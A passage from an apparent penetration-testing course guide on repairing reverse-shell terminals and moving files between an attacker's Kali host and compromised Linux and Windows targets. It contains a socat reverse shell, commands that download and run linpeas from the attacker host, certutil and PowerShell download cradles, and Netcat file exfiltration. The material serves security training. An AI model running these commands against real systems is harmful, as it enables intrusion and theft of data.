If the local terminal becomes unreadable, restore it from a separate/local shell:
stty sane
Socat can provide a stronger PTY when present on both sides:
4.2.10.6.1 Kali
# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr
4.2.10.6.2 Target
# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT
TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.
4.2.10.7 Worked example — hypothetical
Observation: the shell runs commands but interactive sudo fails. Test: spawn a PTY and repair local terminal settings. Illustrative output: tty reports a device and the prompt behaves correctly. Interpretation: retry the legitimate interactive prerequisite check.
4.2.10.8 Verify the result
Check tty, signal handling and an interactive program; confirm the same identity remains.
4.2.10.9 Failure and fallback
A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.
4.2.10.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| sudo -l grants an operation under a more useful identity | Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it | §5.1.8 — Use an allowed sudo operation to cross a privilege boundary |
| A new Linux foothold or an identity/privilege change | A working command channel and accurate effective identity, group, mount and process context | §5.1.5 — Establish Linux state and choose an escalation candidate |
| An SSH service and a known password, private key or agent context | Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission | §1.2.10 — Use SSH passwords, keys and forwarding-capable access |
4.2.11 Transfer over HTTP using Linux or Windows clients
Choose when: A tool/artifact must reach a target that can make an HTTP request · Result: A downloaded file whose destination bytes can be verified
Blocks: 7; transfers support 5–14. Operational procedure | Operational procedure | Quick sheet
4.2.11.1 Purpose and result
A downloaded file whose destination bytes can be verified.
4.2.11.2 Recognition clues
A tool/artifact must reach a target that can make an HTTP request.
4.2.11.2.1 Find the clue from your starting access
Where to investigate: From the target's command context inspect downloader availability, writable destination and a route to the fixed served directory.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.
Failure/next check: No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.
command -v curl wget
ls -ld /tmp
ip route get LHOST
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
/usr/bin/curl
/tmp: writable to current user
LHOST via GATEWAY dev INTERFACE
Recognize this detail: A downloader, destination and plausible outbound path enable an HTTP transfer candidate.
Still missing before method selection: Check actual server bind/directory, HTTP request/response and source/destination hashes.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The requested file is retrieved and its bytes match: use the verified copy. |
| Ruled out in this context | No permitted target-to-server route exists: reject this HTTP pull direction. |
| Inconclusive | A route without a logged request leaves bind/firewall/DNS unresolved. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.11.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Correct server bind and served directory; target-to-server route, available downloader and writable destination.
4.2.11.4 Discover and verify prerequisites
python3 -m http.server 8000 --bind LHOST --directory /PATH/TO/FILES
4.2.11.5 Why it works
The target is the HTTP client even when the assessment host started the operation. A 404 is a server-path problem; no request is a different boundary from successful download with incompatible execution.
4.2.11.6 Execute and choose variants
On Kali, serve the directory containing linpeas.sh:
cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0
On the Linux target, download into a writable directory and run it:
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt
Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.
4.2.11.6.1 HTTP variants — fixed server directory, curl, Windows and alternate built-ins
4.2.11.6.1.1 Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools
Python's simple server supplies downloads over unencrypted HTTP. Stop it with Ctrl+C when finished.
4.2.11.6.1.2 Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE
-f reports HTTP errors and -L follows redirects. Use a writable destination.
4.2.11.6.1.3 Windows target with PowerShell
Run inside PowerShell:
Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"
From cmd.exe, invoke PowerShell explicitly:
powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"
4.2.11.6.1.4 Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE
Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.
Compare the source and destination hashes.
On Kali or Linux:
sha256sum FILE
sha256sum /tmp/FILE
On Windows:
Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"
Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.
4.2.11.7 Worked example — hypothetical
Observation: a download reports success but the tool fails. Test: compare source/destination SHA-256 before execution. Illustrative output: hashes differ and the destination contains an error page. Interpretation: correct the HTTP path and repeat the transfer.
4.2.11.8 Verify the result
Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.
4.2.11.9 Failure and fallback
No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.
4.2.11.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A downloaded/generated artifact exists but does not run | Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format | §7.1.7 — Match an artifact to its executable consumer and runtime |
| A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths | Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location | §5.1.20 — Use enumeration tools to generate manually testable candidates |
| A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials | Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location | §5.2.17 — Turn automated Windows findings into manually verified candidates |
| A Windows source can reach a temporary assessment-side SMB service | Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials | §4.2.13 — Move Windows files through an authenticated SMB share |
| Only a raw TCP tool and a direct or forwarded connection are available | Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file | §4.2.14 — Stream a file over a direct TCP connection |
| The existing command channel permits text but no convenient file-transfer connection | Available Base64 encode/decode, adequate command length and a writable destination | §4.2.15 — Move a small artifact through a text-only channel |
| The target has an FTP client and simpler transfer routes are unavailable | A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode | §4.2.16 — Use a temporary FTP transfer as a constrained fallback |
4.2.12 Copy files through an authenticated SSH service
Choose when: An SSH identity can access the needed source/destination · Result: An authenticated file copy with verified bytes
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.12.1 Purpose and result
An authenticated file copy with verified bytes.
4.2.12.2 Recognition clues
An SSH identity can access the needed source/destination.
4.2.12.2.1 Find the clue from your starting access
Where to investigate: Use established SSH context to identify allowed file/subsystem access and the intended remote destination's rights.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Verify copied bytes and location; uppercase -P selects scp's SSH port.
Failure/next check: Authentication failure, missing subsystem and destination permission failure need different changes. Prefer a supported transfer method over guessing flags.
ssh -v -p PORT USER@TARGET
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Authenticated using publickey
Session/subsystem policy: inspect before transfer
Recognize this detail: SSH authentication gives a candidate transport; it does not prove SFTP/subsystem support or destination write.
Still missing before method selection: Validate client/server subsystem compatibility, source read and destination write; inspect resulting bytes.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The supported copy mode writes the intended file and hashes match: use SCP. |
| Ruled out in this context | The destination is unwritable: reject that path while retaining SCP to a permitted directory. |
| Inconclusive | Accepted SSH without subsystem evidence leaves transfer behavior unknown. |
If you do not yet have this clue: start with Use SSH passwords, keys and forwarding-capable access.
4.2.12.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility.
4.2.12.4 Discover and verify prerequisites
ssh -p PORT -i KEY USER@TARGET
4.2.12.5 Why it works
SCP uses SSH authentication but filesystem rights remain independent. Modern clients may use the SFTP subsystem; a restricted service can allow one access form and deny another.
4.2.12.6 Execute and choose variants
4.2.12.6.1 SCP — copy through an authenticated SSH service
4.2.12.6.1.1 Kali to a Linux target
scp FILE USER@TARGET:/tmp/FILE
4.2.12.6.1.2 Linux target to Kali
Run from Kali when the target's SSH service is reachable:
scp USER@TARGET:/path/to/FILE ./FILE
4.2.12.6.1.3 SSH key or nonstandard port
scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE
scp uses uppercase -P for the SSH port. Authentication success does not guarantee write permission at the destination path.
4.2.12.7 Worked example — hypothetical
Observation: SSH login succeeds but copying into an application directory fails. Test: copy to the user's writable temporary directory. Illustrative output: transfer completes and hashes match. Interpretation: destination authorization caused the original failure.
4.2.12.8 Verify the result
Verify copied bytes and location; uppercase -P selects scp's SSH port.
4.2.12.9 Failure and fallback
Authentication failure, missing subsystem and destination permission failure need different changes. Prefer a supported transfer method over guessing flags.
4.2.12.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A downloaded/generated artifact exists but does not run | Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format | §7.1.7 — Match an artifact to its executable consumer and runtime |
| A tool/artifact must reach a target that can make an HTTP request | Correct server bind and served directory; target-to-server route, available downloader and writable destination | §4.2.11 — Transfer over HTTP using Linux or Windows clients |
| An SSH service and a known password, private key or agent context | Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission | §1.2.10 — Use SSH passwords, keys and forwarding-capable access |
4.2.13 Move Windows files through an authenticated SMB share
Choose when: A Windows source can reach a temporary assessment-side SMB service · Result: A verified read/write transfer over the temporary share
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.13.1 Purpose and result
A verified read/write transfer over the temporary share.
4.2.13.2 Recognition clues
A Windows source can reach a temporary assessment-side SMB service.
4.2.13.2.1 Find the clue from your starting access
Where to investigate: From Windows inspect TCP/445 reachability to the deliberate transfer server and distinguish its share identity from target-domain credentials.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Verify source/destination hash and the share path; disconnect created mappings after use.
Failure/next check: No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.
Test-NetConnection LHOST -Port 445
net use
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
TcpTestSucceeded : True
Existing connection: \\LHOST\OTHER_SHARE as OTHER_USER
Recognize this detail: The service is reachable, but an existing connection can constrain a different credential context.
Still missing before method selection: Verify intended share/server credentials, conflicting mappings, read/write rights and destination hash.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The intended authenticated share action succeeds and bytes match: use this transfer route. |
| Ruled out in this context | Outbound SMB is blocked from this source: reject this direction, choosing another transport. |
| Inconclusive | Transport alone does not settle cached-session identity or object rights. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.13.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials.
4.2.13.4 Discover and verify prerequisites
Test-NetConnection LHOST -Port 445
4.2.13.5 Why it works
Share authentication belongs to the temporary server, not automatically the target domain. Existing Windows connections to the same server can conflict with another credential context.
4.2.13.6 Execute and choose variants
4.2.13.6.1 SMB — read and write files from Windows
4.2.13.6.1.1 Start an authenticated SMB share on Kali
mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'
The first positional value is the share name; the second is its local directory. The supplied USER and PASSWORD authenticate to this temporary Kali share.
Some installations expose the legacy wrapper name:
sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'
4.2.13.6.1.2 Connect and download from Windows
net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE
4.2.13.6.1.3 Upload evidence from Windows to Kali
copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete
Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.
4.2.13.7 Worked example — hypothetical
Observation: HTTP is unavailable but outbound SMB is permitted. Test: connect to the authenticated share and copy one artifact. Illustrative output: copy succeeds and SHA-256 matches. Interpretation: use that transfer route and remove the created connection afterward.
4.2.13.8 Verify the result
Verify source/destination hash and the share path; disconnect created mappings after use.
4.2.13.9 Failure and fallback
No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.
4.2.13.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A downloaded/generated artifact exists but does not run | Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format | §7.1.7 — Match an artifact to its executable consumer and runtime |
| A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials | Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location | §5.2.17 — Turn automated Windows findings into manually verified candidates |
| A tool/artifact must reach a target that can make an HTTP request | Correct server bind and served directory; target-to-server route, available downloader and writable destination | §4.2.11 — Transfer over HTTP using Linux or Windows clients |
4.2.14 Stream a file over a direct TCP connection
Choose when: Only a raw TCP tool and a direct or forwarded connection are available · Result: A byte stream saved as a file and independently checked for integrity
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.14.1 Purpose and result
A byte stream saved as a file and independently checked for integrity.
4.2.14.2 Recognition clues
Only a raw TCP tool and a direct or forwarded connection are available.
4.2.14.2.1 Find the clue from your starting access
Where to investigate: When richer transfers are unavailable, inspect the exact TCP tool and draw sender, receiver and writable output destination.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Compare hashes and avoid mixing diagnostic text into the file stream.
Failure/next check: A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.
nc -h
ls -ld /DESTINATION_DIRECTORY
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Available client: Netcat implementation
Direction: sender -> receiver listener
Destination: writable
Recognize this detail: A raw stream may move bytes only if roles and connection direction are correct; no integrity metadata is supplied.
Still missing before method selection: Confirm listener syntax, reachability, binary-clean I/O and a complete independent hash match.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The chosen stream finishes with matching bytes: use the saved artifact. |
| Ruled out in this context | The only available direction cannot reach the receiver: reject this stream route. |
| Inconclusive | A connection with unknown termination/file size leaves transfer completeness unresolved. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.14.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file.
4.2.14.4 Discover and verify prerequisites
nc -h
ip route get TARGET
4.2.14.5 Why it works
A raw stream carries no filename, authentication or integrity metadata. Terminal output and connection termination can corrupt or truncate the saved file.
4.2.14.6 Execute and choose variants
4.2.14.6.1 Netcat — stream a file when a direct TCP connection is possible
4.2.14.6.1.1 Retrieve a file from the target to Kali
Kali receives:
nc -lvnp PORT > FILE
The target sends:
nc -nv LHOST PORT < /path/to/FILE
4.2.14.6.1.2 Send a file from Kali to the target
The target receives:
nc -lvnp PORT > /tmp/FILE
Kali sends:
nc -nv TARGET PORT < FILE
If the listener rejects -p, use the OpenBSD-style form and check nc -h locally:
nc -lvn PORT > FILE
Netcat provides no authentication, encryption, filename metadata or integrity check. Confirm direction and compare hashes afterward.
4.2.14.7 Worked example — hypothetical
Observation: a raw transfer connects but the saved artifact is shorter. Test: compare size/hash and inspect sender termination behavior. Illustrative output: a repeated clean transfer matches the source. Interpretation: only the matching copy is suitable for execution.
4.2.14.8 Verify the result
Compare hashes and avoid mixing diagnostic text into the file stream.
4.2.14.9 Failure and fallback
A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.
4.2.14.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A downloaded/generated artifact exists but does not run | Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format | §7.1.7 — Match an artifact to its executable consumer and runtime |
| A tool/artifact must reach a target that can make an HTTP request | Correct server bind and served directory; target-to-server route, available downloader and writable destination | §4.2.11 — Transfer over HTTP using Linux or Windows clients |
| One reachable pivot can connect to one internal TCP destination | A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity | §6.1.3.6 — Relay a single TCP service through a fixed forward |
4.2.15 Move a small artifact through a text-only channel
Choose when: The existing command channel permits text but no convenient file-transfer connection · Result: A reconstructed small file with matching bytes
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.15.1 Purpose and result
A reconstructed small file with matching bytes.
4.2.15.2 Recognition clues
The existing command channel permits text but no convenient file-transfer connection.
4.2.15.2.1 Find the clue from your starting access
Where to investigate: Inspect the existing channel's command-length/quoting limits and whether both sides can reconstruct a small encoded file.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Available Base64 encode/decode, adequate command length and a writable destination
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Require a complete matching hash; keep encoded secrets in private evidence rather than reusable notes.
Failure/next check: Truncation, wrapping and quoting often corrupt long values. Use a network transfer for larger files.
command -v base64
wc -c FILE
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
/usr/bin/base64
SMALL_BYTE_COUNT FILE
Recognize this detail: A small artifact and compatible decoder make text transport plausible, without assuming large encoded commands survive.
Still missing before method selection: Verify exact length/quoting and source/destination hash; use the Windows decoding variant when appropriate.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The complete decoded bytes match: use the text-transfer result. |
| Ruled out in this context | The channel truncates below the required encoded size: reject a one-command transfer of this artifact. |
| Inconclusive | Unknown command limits require a harmless small round trip before relying on the channel. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.15.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Available Base64 encode/decode, adequate command length and a writable destination.
4.2.15.4 Discover and verify prerequisites
base64 -w 0 FILE
sha256sum FILE
4.2.15.5 Why it works
Base64 transports bytes through text; it does not encrypt them or guarantee that the command channel preserves length and quoting.
4.2.15.6 Execute and choose variants
4.2.15.6.1 Base64 — move a small file through a text-only channel
4.2.15.6.1.1 Encode on Linux
base64 -w 0 FILE
4.2.15.6.1.2 Decode on Linux
printf '%s' 'BASE64_DATA' | base64 -d > /tmp/FILE
4.2.15.6.1.3 Decode in PowerShell
[IO.File]::WriteAllBytes('C:\Windows\Temp\FILE',[Convert]::FromBase64String('BASE64_DATA'))
Use this for small files. Long encoded values are easy to truncate or corrupt; compare hashes.
4.2.15.7 Worked example — hypothetical
Observation: a short configuration must cross a command-only channel. Test: encode, decode at the destination and compare hashes. Illustrative output: the hash matches. Interpretation: the byte transport succeeded; execution compatibility remains separate.
4.2.15.8 Verify the result
Require a complete matching hash; keep encoded secrets in private evidence rather than reusable notes.
4.2.15.9 Failure and fallback
Truncation, wrapping and quoting often corrupt long values. Use a network transfer for larger files.
4.2.15.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A simple command works while a longer or nested payload fails | Known outer request/template/database parser and inner shell; correct character encoding and transport length | §7.1.8 — Repair quoting, encoding and command-length boundaries |
| A tool/artifact must reach a target that can make an HTTP request | Correct server bind and served directory; target-to-server route, available downloader and writable destination | §4.2.11 — Transfer over HTTP using Linux or Windows clients |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
4.2.16 Use a temporary FTP transfer as a constrained fallback
Choose when: The target has an FTP client and simpler transfer routes are unavailable · Result: A verified temporary FTP file transfer
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.16.1 Purpose and result
A verified temporary FTP file transfer.
4.2.16.2 Recognition clues
The target has an FTP client and simpler transfer routes are unavailable.
4.2.16.2.1 Find the clue from your starting access
Where to investigate: Inspect whether a compatible FTP client is the remaining route and whether the temporary server's data channel is reachable.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Compare bytes and stop the temporary server after its purpose is complete.
Failure/next check: A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.
ftp
help
quit
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Client commands include: open, binary, get, put
No transfer mode selected yet
Recognize this detail: Client availability permits investigating FTP; binary mode and separate data-channel paths remain necessary.
Still missing before method selection: Verify deliberate server scope, control/data connectivity, required read/write and post-transfer hashes.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Binary transfer completes and hashes match: use that verified temporary copy. |
| Ruled out in this context | Only the control channel works and the required data route is blocked: reject this FTP path. |
| Inconclusive | Client presence alone leaves data transport and server rights unproved. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.16.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode.
4.2.16.4 Discover and verify prerequisites
ftp LHOST PORT
binary
4.2.16.5 Why it works
FTP has separate control/data channels and can transform files in text mode. The temporary server's default permissions and authentication must be checked.
4.2.16.6 Execute and choose variants
4.2.16.6.1 Temporary FTP — only when an FTP client is the available route
On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment:
python3 -m pyftpdlib -p PORT
On the target:
ftp LHOST PORT
binary
get FILE
put FILE
quit
The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.
4.2.16.7 Worked example — hypothetical
Observation: a binary copied over FTP fails. Test: repeat in binary mode and compare hashes. Illustrative output: the second copy matches. Interpretation: transport mode, not payload generation, caused the failure.
4.2.16.8 Verify the result
Compare bytes and stop the temporary server after its purpose is complete.
4.2.16.9 Failure and fallback
A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.
4.2.16.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A downloaded/generated artifact exists but does not run | Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format | §7.1.7 — Match an artifact to its executable consumer and runtime |
| A tool/artifact must reach a target that can make an HTTP request | Correct server bind and served directory; target-to-server route, available downloader and writable destination | §4.2.11 — Transfer over HTTP using Linux or Windows clients |
| An SSH identity can access the needed source/destination | Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility | §4.2.12 — Copy files through an authenticated SSH service |
4.2.17 Sources and shared concepts
Supplied PEN-200 command-to-shell pp257–259, Ch 19 selected PTY/forwarding examples and Ch 21 pp671–683. Hexdump Linux shell resources, Windows shell resources.
Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.